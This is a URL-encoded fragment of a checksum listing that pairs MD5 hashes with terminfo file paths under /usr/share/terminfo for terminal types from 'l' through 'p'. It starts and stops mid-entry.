bb%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flinux-lat%0Abeb280694f1c67852cbaef6ca953e363%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flinux-m%0Ac1bf68a2131399407b926aee90955843%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flinux-nic%0A52bfbcbb971ddbfee0241bc41c18641d%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flisa%0Ade169d7b843ae6b8e92050979113f0e0%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flisaterm%0A510943b46d91f9f8e5c5a0b1958100c2%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flisaterm-w%0Ac3e92224b705e4c4ab6e51cf9544c569%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Fliswb%0Ace83856197d902440e2259045c913a2a%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Fln03%0A510b41fee9c91f932c8deff284965ee7%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Fln03-w%0A8576df015a0b5f3456fc99ad34483b76%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Fluna68k%0A8576df015a0b5f3456fc99ad34483b76%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Fluna%0A8e177a725c93172d57190cb3932f9b93%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flpr%0Afe7933c9af59c660981225468627a147%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Fla120%0A26106be394fea470d10db5f45043cdd5%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flayer%0Adec82a5e6c3e1d6cb4a90109ac128529%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flft-pc850%0Adec82a5e6c3e1d6cb4a90109ac128529%20%20%2Fusr%2Fshare%2Fterminfo%2Fl%2Flft%0A2dfb5dc3b706cd29273ab25f20394ac8%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmach-bold%0A215cacd84662e9e93e998833477da362%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmach%0A86fb070e9a26a943f70f18f6fc1b75c2%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fminitel1b-80%0Aa4b356122e490897b411db4893c8483e%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmach-color%0A72f032b1abfd12a7fe00237fee4194e8%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmasscomp%0Ac7581539fa5c6ada00d0a487e4d81fdb%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmasscomp1%0A0b56dd67a90d558ab3ee36f9832b5d2b%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmasscomp2%0A3d7bc6ec45c3e1903d8c30b7abf20402%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmegatek%0A834f225695d4e3f5353211c492702c10%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmemhp%0Ae941fbedc7513efcdc49bd53fe296ef1%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmgr%0Afb69d98515f8a4a07055a0920be34dd2%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmgr-linux%0A372b64ce2a22dde18eb9e966ae569d3f%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmgr-sun%0Aa8f2bd76834f4ec25d9922ac33882f67%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmgterm%0A8cd2bdcd00af4289eff59ab37d8d2c7a%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime-fb%0Aaa2e298e3d87e7f89f0f0d1930860128%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime-hb%0Ac8ce28297905d9469f65175e81dbde19%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime2a-s%0A2def3227cffabbe95c1c6630c50f4dec%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime3a%0A4609d7a4bab2f2a221d9a93f0148a997%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fminitel1%0A612776f024dd324cda7bb9789240de95%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fminitel1b%0A1160a094d1662656fe3065bb01e49aaa%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fminix-old%0Ac7b8eddeafdc494c87de5926df57d1d6%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fminix%0A9021f7c7c84f96b0cf36e3f26d93edd8%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmicroterm5%0A0fd4f409b46c1b64b12585f53941d693%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmai%0Aa277f29e28a98784b91ca1d81f827fcb%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fminix-old-am%0Af60b7a3f9a17f46f2fa5a505c4ac44d9%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmodgraph2%0A26960e28e1cec179ddcbd739d7bfb0fc%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmono-emx%0A34df81e854c32b6b749911dd955b8deb%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fms-vt100%0A2c31ef7ca8cdac4ad7b1179bc9f9aff0%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmt4520-rv%0A65996f6f04391604238668c3aa6f4ff1%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmt70%0A385d67507d99c28ef006d84fe128c595%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmod%0A65996f6f04391604238668c3aa6f4ff1%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmt-70%0A2b8dcf8f10022a3b197c457b5e2802a3%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmskermit227am%0A2b8dcf8f10022a3b197c457b5e2802a3%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmsk227am%0A02621821e1ea53dfb2d8c7f34bb8f786%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmskermit22714%0A02621821e1ea53dfb2d8c7f34bb8f786%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmsk22714%0Aa35813bacec34ee327caeb0181d03e9d%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmskermit227%0Aa35813bacec34ee327caeb0181d03e9d%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmsk227%0A151e8ba3b6c4bbcdc114147da3f9e7e3%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmodgraph%0A151e8ba3b6c4bbcdc114147da3f9e7e3%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmod24%0A385d67507d99c28ef006d84fe128c595%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmodgraph48%0A29c38e0896218c95b2e25d784a6a2daa%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmm340%0A29c38e0896218c95b2e25d784a6a2daa%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime340%0Aaa89b858d3447305f8c3212a39b53fb6%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmm314%0Aaa89b858d3447305f8c3212a39b53fb6%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime314%0A4226e970e45bca6a76cb6effce455ca7%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime2a-v%0A4226e970e45bca6a76cb6effce455ca7%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime2a%0Aa927c7bae7d51934c73b62bd42679f4b%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime3ax%0A6256d2796a07330e1a4a4ba984acc666%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime%0Aa927c7bae7d51934c73b62bd42679f4b%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime-3ax%0A6256d2796a07330e1a4a4ba984acc666%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime1%0A6256d2796a07330e1a4a4ba984acc666%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmime2%0A6256d2796a07330e1a4a4ba984acc666%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmimei%0A6256d2796a07330e1a4a4ba984acc666%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmimeii%0Af3ddcf67455ebab8d1ad0f5a3372c293%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmicrobee%0Af3ddcf67455ebab8d1ad0f5a3372c293%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmicrob%0A7e551e7d5030d6fdad4179fa349b243e%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmacterminal-w%0A7e551e7d5030d6fdad4179fa349b243e%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmac-w%0A96cb6bef343ce6bf887400803e1a82b6%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmacintosh%0A96cb6bef343ce6bf887400803e1a82b6%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmac%0A27205b8b815f607b9c0557a52985839e%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fminitel%0A27205b8b815f607b9c0557a52985839e%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fminitel-2%0A27205b8b815f607b9c0557a52985839e%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fminitel-2-nam%0A8749072f405c1c3f518f1b39cbf8790d%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmdl110%0A27205b8b815f607b9c0557a52985839e%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fm2-nam%0A914107f21c01de28425bfad0c3105cf5%20%20%2Fusr%2Fshare%2Fterminfo%2Fm%2Fmicroterm%0Ac0566cdadaa32ae92862cf827784f271%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt100an%0A070b8c1c4ad7f2cf19cdd9a00a37d2f4%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vppp%0Adf5e5ece664f0d56e1c1db2d4eefe7e7%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vpwpp%0Adadda9e7b27b921f89f7f5ade1da2126%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews40-o%0Adadda9e7b27b921f89f7f5ade1da2126%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp512-o%0Ae6199b67949a850047f65a024c990aaf%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt100pp%0Aadee3030f1034cd9dcbce00d149ce04b%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt100wan%0Acbfc62bfdbbeff7a844714774ce4416c%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt100wpp%0Aeb0b90fadd94c360e7fc0b2535adda35%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt200an%0Ade3f63ac94673bfc94dbae334bf19f6d%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt200pp%0A768e95277623badbd16fa7de54bbd3ee%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt200wan%0Aeb0f9c17d12bdeaf87adf17a4d410f22%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt200wpp%0A451c0c9bdaf1211743132d2f38a70b20%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt300an%0A5098f01a3805f312f9bdcadbb99131ce%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt300pp%0A17f454201b43e3dda5de32b4906ac4a1%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt300wan%0A5745a3502f37c168736a1563b0195c25%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160vt300wpp%0A8d883a4a1753f9fd1ccc167b684c946f%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160wy50%2Bpp%0A4c4d8d0ee09331c56b191ff3017d5a44%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160wy50%2Bwpp%0A155dd1356dc9f3731307295b232f0990%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160wy60pp%0Ab2c31c505a4a600371486fd0255b7f7d%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr160wy60wpp%0A0cfc710935b41ac15b96a64859f22e96%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260intan%0A6d6c9b9b695eeaf62c02dcd39972acaf%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260intpp%0A999304abe0603144828c1cb797ef1828%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260intwan%0Abdda945e466a3b0e47251dcc9cd96962%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260intwpp%0A74cea6f457fcd60ff3bb98c9cdfaf086%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vppp%0A4d7690edb182deaeaf3d3e5e0f2a7083%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vpwpp%0A3945d52f34ba8ab521a2bf7336341707%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt100an%0A5cd1a043b9ae0cff15dea1deb5b973d4%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt100pp%0A0ddf659068af73886cb926aed4097537%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt100wan%0Ac0ce0ad1b73fc2404d7e667e6c089b2a%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt100wpp%0Ad74123f6ec3e9c7a98015e58efba1b23%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt200an%0Ab1aecd568929fd4a76635e932960c3f0%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt200pp%0Ab5aa2a885928ae041e0c1ee5bfd1b6c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt200wan%0Ab31043801652396487c6dd22bb3aeda8%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt200wpp%0A5269efc9e1d0a6220b87f59258a17359%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt300an%0A9e4f498934058aabde106ac9b0281479%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt300pp%0A0728aa9eb524e1f67e9c009c473891e2%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt300wan%0Af88904df0c61712a3d51127c47742762%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260wy325pp%0A17e037e42257decb131892ca7e6813b3%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260wy325wpp%0A5d493858a19cc4fcb10fc87ce7439638%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260wy350pp%0Afeea56c1c6a677ee0e4e16c24c426fe0%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260wy350wpp%0Abaf0561e44803449ccffd7e6dd9e782b%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260wy50%2Bpp%0A9678df8787dd24cd860f38a8de48085f%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260wy50%2Bwpp%0A1bb506b6eb2520728ac998c87d97e144%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260wy60pp%0A0503cac3490d86609fa209bf35955c5f%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260wy60wpp%0Aecdf87788d6ef0e856e78d3413c69202%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr7900iv%0A982b7a913600e6aa3bbb8e8d193eda0f%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr7901%0A415e561558e6e0641df13dd9d9e9fac5%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncsa%0Afa1761c19f272d351bbbe5e683a3f285%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncsa-m-ns%0A6ef0695d498f6be289b57b187f96d822%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncsa-ns%0A4b05f33ead53c523bd88efa0f53167a1%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncsa-vt220%0A220f3e406b6fab3535e955a53cb363ab%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnewhp%0A227415f1c49cc7a82ab821843dc9547b%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnewhpkeyboard%0A3865640155c0369d7465e0b1e2a8be2a%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-29%0A67b6418ac5d6a7c93079b0cd8b700525%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-29-euc%0Ab9ac02ef1ca94294fa50a9ca767c6e42%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-29-sjis%0A6b8f02a5930be8bdc5e84feae6981c95%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-33%0Ac841be2ab245d0981e9980099448a091%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-33-euc%0A5d153d9595a04d33e61df1d2fc760859%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-33-sjis%0Af1e09a9fa2848cdb248090a54821aeb8%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-42%0Ab482445f2240ccb9f8b389bcbf3262c8%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-42-euc%0A7e1c009ff7bb21cad855c9c7ac98d08c%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-42-sjis%0Af27ad0f70eb4d5d66d956e6bade1d607%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-old-unk%0Ab7138a6de23d7bcab5894c71b6a74a68%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-unk%0Aae40141401c9188bae45f10a179c1cbd%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews28%0A54877855e84f28410124b6725f35f661%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnext%0Aa05701177613a54ac2fbaf0df635b7c6%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnextshell%0Aaa5d93cc97b232aa7484fc1109b5d0b5%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnorthstar%0A7cedd5ad9b3f43d2f4e331a1539ed3af%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp517-w%0A253ac7bacc682b36d0be3730509d6ca0%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews%0A7cedd5ad9b3f43d2f4e331a1539ed3af%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp-517-w%0A0a6c0d8f6235c39b1cacaaff88e16239%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp517%0A0a6c0d8f6235c39b1cacaaff88e16239%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp-517%0A79bbef19ff0eeddbfc2c3c7eab77a087%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp511%0A79bbef19ff0eeddbfc2c3c7eab77a087%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp-511%0A912add1d8765c6a97e34cc3c98235fdf%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnewscbm-o%0A912add1d8765c6a97e34cc3c98235fdf%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwe501-o%0A912add1d8765c6a97e34cc3c98235fdf%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp251-o%0A912add1d8765c6a97e34cc3c98235fdf%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp513-o%0A912add1d8765c6a97e34cc3c98235fdf%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp518-o%0A76c240b5449e823041c1f3ba1b412301%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews33%0A76c240b5449e823041c1f3ba1b412301%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnewscbm-a%0A76c240b5449e823041c1f3ba1b412301%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnewscbm33%0A912add1d8765c6a97e34cc3c98235fdf%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews31-o%0A76c240b5449e823041c1f3ba1b412301%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwe501-a%0A76c240b5449e823041c1f3ba1b412301%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp251-a%0A76c240b5449e823041c1f3ba1b412301%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp513-a%0A76c240b5449e823041c1f3ba1b412301%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp518-a%0A63bacd9c048c32aee3df5694fb1fb8df%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnewscbm%0A63bacd9c048c32aee3df5694fb1fb8df%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwe501%0A63bacd9c048c32aee3df5694fb1fb8df%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp513%0A63bacd9c048c32aee3df5694fb1fb8df%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp518%0Ada27ba3398be6cdf968d4b600a694270%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnec%0A76c240b5449e823041c1f3ba1b412301%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews31-a%0A607e78a9cf35e1b71b0a75c716cdf315%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews28-a%0A63bacd9c048c32aee3df5694fb1fb8df%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews31%0A607e78a9cf35e1b71b0a75c716cdf315%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews29%0Adadda9e7b27b921f89f7f5ade1da2126%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp514-o%0A253ac7bacc682b36d0be3730509d6ca0%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews40%0Ad08183c415170b13b02b90e835c4bd8f%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews40-a%0Ad08183c415170b13b02b90e835c4bd8f%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-a%0Adadda9e7b27b921f89f7f5ade1da2126%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews-o%0Ad08183c415170b13b02b90e835c4bd8f%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnews42%0Ad08183c415170b13b02b90e835c4bd8f%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp512-a%0Ad08183c415170b13b02b90e835c4bd8f%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp514-a%0A253ac7bacc682b36d0be3730509d6ca0%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp512%0A253ac7bacc682b36d0be3730509d6ca0%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnwp514%0Ada27ba3398be6cdf968d4b600a694270%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnec5520%0Ac223220fdde41d98fb246bc6a6c40114%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncsa-vt220-8%0Ac223220fdde41d98fb246bc6a6c40114%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncsa-m%0A54978a9f7d1985f1bc7a8adc0bab71cc%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncrvt100pp%0A54978a9f7d1985f1bc7a8adc0bab71cc%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncrvt100an%0Aec7e4f8d6e76f7a8625f4b0440659c76%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr7900i%0Aec7e4f8d6e76f7a8625f4b0440659c76%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr7900%0A82fee6f7f0694164cf6261b425181523%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnansisysk%0A82fee6f7f0694164cf6261b425181523%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnansi.sysk%0A58d84a9b261a56b01333b328e3b29c55%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnansisys%0A58d84a9b261a56b01333b328e3b29c55%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fnansi.sys%0A793d8a387f22a9dc857b8497e5cdb016%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncrvt100wpp%0A793d8a387f22a9dc857b8497e5cdb016%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncrvt100wan%0A6f5cd6312c429f584c62d44e2d9bab70%20%20%2Fusr%2Fshare%2Fterminfo%2Fn%2Fncr260vt300wpp%0Ab29268c962b44371cf340e8aee659509%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fopus3n1%2B%0A1bae78097be49fe83135a5dcd63e2002%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fofcons%0A7a45c64c5ca904f24c3d775594b7d01e%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Foldsun%0Aed64f4558fa0edf0a2a4a2803616d139%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fomron%0A56300e1392b6d82a69b17bc167b27775%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fotek4115%0Ae6d87e60cd85ca810094a72973a2be03%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fosexec%0Ad60c04c9a0e0c6779719fc00e97c0145%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fosborne-w%0A957de07272f0bd417fcb98da4e99c1d2%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fowl%0Ad60c04c9a0e0c6779719fc00e97c0145%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fosborne1-w%0Aad4a838eadd620464fc879ca368306c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fosborne1%0Aad4a838eadd620464fc879ca368306c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fosborne%0A6fadee42f7aa74f8e213b4e02064a3b6%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Forigpc3%0Ada0c0f951e2ebf0495a54a673f8de8b9%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fo31%0A6fadee42f7aa74f8e213b4e02064a3b6%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Forigibmpc3%0Acb50bcea5940e220a17934097f34aada%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Foldpc3%0Ae15ea84939ded84b0d94c259d9563f2d%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fo85h%0Acb50bcea5940e220a17934097f34aada%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Foldibmpc3%0Ab19cb18889fe8b67734b48cd50c5399a%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fojerq%0Ab19cb18889fe8b67734b48cd50c5399a%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Foblit%0A352555efdccdc2cc271937ab699555c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fotek4112%0A352555efdccdc2cc271937ab699555c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fotek4113%0A352555efdccdc2cc271937ab699555c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fotek4114%0A6dee873c603ddef71bba2386a3cd9d6a%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fos9LII%0A8b7b685d562de210ce136c7efe2893bc%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Foc100%0A352555efdccdc2cc271937ab699555c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Fo4112-nd%0A8b7b685d562de210ce136c7efe2893bc%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Foconcept%0Ae15ea84939ded84b0d94c259d9563f2d%20%20%2Fusr%2Fshare%2Fterminfo%2Fo%2Foabm85h%0A4ff23f475dfe018f255ff345f9f68cac%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpc-minix%0A866088689e6fcbc4feedc907033706e2%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fp19%0Ab1e1ae356fe2d4b4af27277a6c360efc%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpc6300plus%0Ad202c44ad3d424a52501376ce2fbcf54%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpc3%0A3cc4a784243a87e9cf5e7124a2b0b9d6%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpckermit120%0A8b97f1ea94e8d2942c8dcd2d943e1322%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcansi%0A673a40fc0f36635254e47338f5e70f07%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcix%0A0a9fdae86e083267ba914f68e2db4cd9%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpsterm-80x24%0A539126eeaaa4dc1780c3383ec6065bc4%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcmw%0A08c8d36e041120f7a62d8b1262c09765%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcplot%0A1433a5c33fff70d07ea6e658309aaf59%20%20%2Fusr%2Fshare%2Fterminfo%2Fp%2Fpcvt25%0Ab74fc415b183682d6711613e824c98db%20%20%2Fusr